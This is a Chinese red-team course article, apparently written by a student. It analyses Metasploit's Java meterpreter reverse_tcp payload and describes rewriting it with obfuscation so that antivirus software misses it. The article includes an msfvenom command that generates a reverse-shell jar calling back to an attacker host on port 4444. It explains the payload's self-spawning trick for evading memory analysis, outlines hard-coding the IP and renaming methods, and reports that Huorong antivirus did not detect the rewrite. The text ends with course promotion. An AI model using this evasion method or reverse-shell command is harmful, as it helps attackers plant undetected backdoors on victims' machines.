文章来源|MS08067 红队培训班 第5期
本文作者:aeqaq(红队培训班5期学员)
目标:
分析msf meterpreter java马的原理,然后自己写一个保留了核心逻辑的,来达到免杀效果。
msf6 > use java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > msfvenom -p java/meterpreter/reverse_tcp LHOST=1.117.xxxxxx LPORT=4444 W >text.jar
也可以把jar包直接拖到idea里
MAINFEST.MF
jar包的签名文件,在里面找到加载入口类metasploit/Payload.class
metasploit.dat文件
里面存储了服务器端设置的ip和端口,还有一个Spawn参数
跟进到主类Payload进行分析,直接看main方法
最开始是一些读取文件和数据
接下来是做了一个文件的生成和删除,因为在metasploit.dat中,没有Executable这个属性,所以可以跳过
接下来是进入这个if判断,第一次的时候i==2,详细的在注释里面,因为代码水平较差,所以基本上每一步都解释了
这里主要是递归,创建了自己并且执行,然后把创建的都删了(i>0)的时候,就是Spawn参数>0的时候,是为了逃避杀软分析内存调用
下面一个else if应该是跳过的,看最后一个else,也就是i<=0的时候
核心:在这里执行字节码
思路:
保留关键步骤,删去不必要的步骤,添加混淆步骤
在局域网进行测试
主要就是socket的建立和bootstrap方法保留下来
尝试方法:
1.写死ip和端口
2.添加混淆方法
3.更换方法,参数名字
尝试初期:总是timeout
Exception in thread "main" java.net.ConnectException: Connection timed out: connect
需要配合服务器端的msf监听器,去在Properties里把他设置的和msf端一样
火绒没报毒
回连正常
红队攻防 第5期 火热报名中
报名咨询联系小客服
扫描下方二维码加入星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!